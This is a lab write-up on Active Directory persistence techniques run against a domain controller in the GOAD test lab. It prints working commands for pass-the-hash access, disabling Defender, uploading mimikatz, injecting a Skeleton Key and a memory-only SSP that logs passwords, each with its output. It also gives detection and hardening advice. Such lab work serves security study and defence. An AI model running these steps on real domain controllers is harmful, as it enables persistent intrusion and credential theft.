Persistence is a different problem than access
The first four parts of this series were about getting Domain Admin. This note is about what you do after you are standing on the Domain Controller — the phase where the objective flips from “compromise the domain” to “stay able to come back.” Getting in usually leaves traces; staying in is about leaving the smallest possible trace that survives reboots, password changes, and a defender looking at logs.
Three tricks live in this phase, and they all start from the same place: I am already Administrator on KINGSLANDING (192.168.56.10), the sevenkingdoms.local forest-root DC. I have its NT hash from the earlier DCSync, and it works over SMB and WinRM.
$ nxc winrm 192.168.56.10 -u Administrator -H c66d72021a2d4744409969a581a1705e
WINRM 192.168.56.10 5985 KINGSLANDING [+] sevenkingdoms.local\Administrator:... (Pwn3d!)The first thing the DC pushes back with is its own antivirus. I need mimikatz on the box, and Get-MpComputerStatus reports Defender real-time protection is enabled:
$ nxc winrm 192.168.56.10 -u Administrator -H c66d72021a2d4744409969a581a1705e -x "powershell -c (Get-MpComputerStatus).RealTimeProtectionEnabled"
TrueTamper protection is off, so as a Domain Admin I can turn the scan engine off and drop the tool. This step is worth writing down because it is the first honest friction in the whole persistence story: on a hardened DC, the tool that does all three of these tricks is signatured to the point that it gets deleted the moment it runs.
$ nxc winrm 192.168.56.10 -u Administrator -H ... -x "powershell -c Set-MpPreference -DisableRealtimeMonitoring 1"
$ nxc smb 192.168.56.10 -u Administrator -H ... --put-file /usr/share/windows-resources/mimikatz/x64/mimikatz.exe "\\Windows\\Temp\\mikatz.exe"
[+] Created file ... on \\C$\\Windows\Temp\mikatz.exeSkeleton Key: one password, every account
The Skeleton Key does not steal credentials and does not forge tickets. It patches the Domain Controller’s KDC inside lsass.exe so that, in addition to the real password, the literal password mimikatz works for any account. The injection is a single command run as SYSTEM (which psexec gives me):
$ impacket-psexec sevenkingdoms.local/[email protected] -hashes aad3b435b51404eeaad3b435b51404ee:c66d72021a2d4744409969a581a1705e \
"C:\Windows\Temp\mikatz.exe \"privilege::debug\" \"misc::skeleton\" exit"
mimikatz(commandline) # privilege::debug
Privilege '20' OK
mimikatz(commandline) # misc::skeleton
[KDC] data
[KDC] struct
[KDC] keys patch OK
[RC4] init patch OK
[RC4] decrypt patch OKThree lines — [KDC] keys patch OK, [RC4] init patch OK, [RC4] decrypt patch OK — and the domain now has a master password. I verify it the way the DC itself would: request a Kerberos TGT with the bogus password for two different accounts, and the KDC hands both over:
$ impacket-getTGT sevenkingdoms.local/Administrator:mimikatz -dc-ip 192.168.56.10
[*] Saving ticket in Administrator.ccache
$ impacket-getTGT sevenkingdoms.local/tywin.lannister:mimikatz -dc-ip 192.168.56.10
[*] Saving ticket in tywin.lannister.ccacheAdministrator and tywin.lannister, two unrelated accounts, both unlock with mimikatz. This is the whole point: the KDC now accepts the master key alongside the real key, so nobody has to change anything and every user still logs in normally.
The subtle part is what it does not do. NTLM logins to the same DC still fail:
$ nxc smb 192.168.56.10 -u Administrator -p mimikatz
[-] sevenkingdoms.local\Administrator:mimikatz STATUS_LOGON_FAILUREThe Skeleton Key only patches the Kerberos code path in the KDC (SamIRetrieveMultiplePrimaryCredentials and the RC4 decrypt routine). NTLM authentication goes through Msv1_0.dll, a different path, so it is untouched. The practical consequence: after injecting the key, move with Kerberos (getTGT, -k) — not with NTLM. That distinction is the difference between “the technique worked” and “I spent an hour wondering why my SMB login bounced.”
It is also in-memory only. Nothing is written to disk, and the patch evaporates the moment lsass.exe restarts or the DC reboots. That is both its strength (no artifact on disk) and its weakness (no persistence across a reboot on its own).
Custom SSP: logging the next plaintext password
Where the Skeleton Key opens the door for you, a custom Security Support Provider captures the keys other people use. misc::memssp loads a memory-only SSP that records plaintext credentials to C:\Windows\System32\mimilsa.log:
mimikatz(commandline) # misc::memssp
Injected =)The word memory matters: the SSP is registered inside lsass.exe and never written to disk as a DLL, so it leaves no file behind. It only logs subsequent password-based logons — a remote NTLM or Kerberos login carries a hash, not the plaintext, so the log stays empty until someone types a password in an interactive session (RDP, runas, a scheduled task with stored credentials). The detection story is correspondingly narrow: watch for a new mimilsa.log file, for an SSP registered without a backing DLL, or for any process injecting into lsass.
DSRM: the one that does not apply here
The third classic is DSRM abuse: dump the Domain Controller’s local Administrator hash (the Directory Services Restore Mode account) and, if DsrmAdminLogonBehavior is set to 2, pass-the-hash back into the DC locally. On this lab the whole path is off:
$ reg query HKLM\System\CurrentControlSet\Control\Lsa /v DsrmAdminLogonBehavior
ERROR: The system was unable to find the specified registry key or value.The value is not even set, which is the default — the DSRM account is only usable while the DC is booted into restore mode, not during normal operation. That is the honest result, and it is the right kind of result to keep in a notebook: knowing when a technique does not apply is faster than trying to force it. The control that defeats it is simply leaving DsrmAdminLogonBehavior at 0 and rotating the DSRM password.
Detection and the fix
| Technique | What it touches | Detection | Control |
|---|---|---|---|
| Skeleton Key | lsass.exe KDC/RC4 patch (in-memory) | mimikatz logon succeeding for many accounts at once; Event ID 4624 with abnormal auth | LSA Protection; EDR on lsass writes; reboot clears it |
Custom SSP (memssp) | lsass.exe SSP registration | new mimilsa.log; SSP without a DLL on disk | LSA Protection; block unsigned SSPs; alert on lsass injection |
| DSRM | local Administrator hash | DsrmAdminLogonBehavior = 2 (registry) | keep the value at 0; rotate DSRM password |
The single control that blunts all three is LSA Protection on Domain Controllers: it isolates lsass, which is exactly the process these techniques have to patch or inject into. The second is the boring one — keep Defender on and its tamper protection enabled, which is what made the very first step of this walkthrough require an explicit, logged action.
Summary
Skeleton Key is the cleanest of the three: a single in-memory patch turns the KDC into a back door with the master password mimikatz, works for Kerberos (not NTLM), and leaves no file on disk. The custom SSP trades that door-opening for credential capture, and DSRM — the one everyone lists next — simply does not apply in a lab that never enabled DsrmAdminLogonBehavior. The unifying lesson: these are all lsass-based, so the whole family dies at the same control.
lsass.exe: the patched KDC accepts the master password alongside each user's real key over Kerberos until the next reboot.Evidence and limits
All commands were executed against KINGSLANDING (192.168.56.10) inside the isolated host-only GOAD lab. Reaching the lsass.exe injection stage required explicitly disabling Windows Defender real-time monitoring as Domain Admin (Set-MpPreference -DisableRealtimeMonitoring 1); on a production Domain Controller with Tamper Protection and LSA Protection (RunAsPPL) enabled, both misc::skeleton and misc::memssp are blocked before touching lsass. The lab was reverted to its clean snapshot after testing.
References
- Sean Metcalf, ADSecurity — Skeleton Key Malware: adsecurity.org/?p=1255
- Sean Metcalf, ADSecurity — Sneaky Active Directory Persistence #12: Malicious Security Support Provider (SSP): adsecurity.org/?p=1760
- gentilkiwi, Mimikatz: github.com/gentilkiwi/mimikatz
- MITRE ATT&CK, Account Manipulation (T1098): attack.mitre.org/techniques/T1098
- MITRE ATT&CK, OS Credential Dumping (T1003): attack.mitre.org/techniques/T1003
- Microsoft, Configure added LSA protection: learn.microsoft.com
How current is this note?
The latest source-review, content-update, or publication date is shown.
Primary public records were checked. Environment-specific behavior remains outside the claim unless separately reproduced.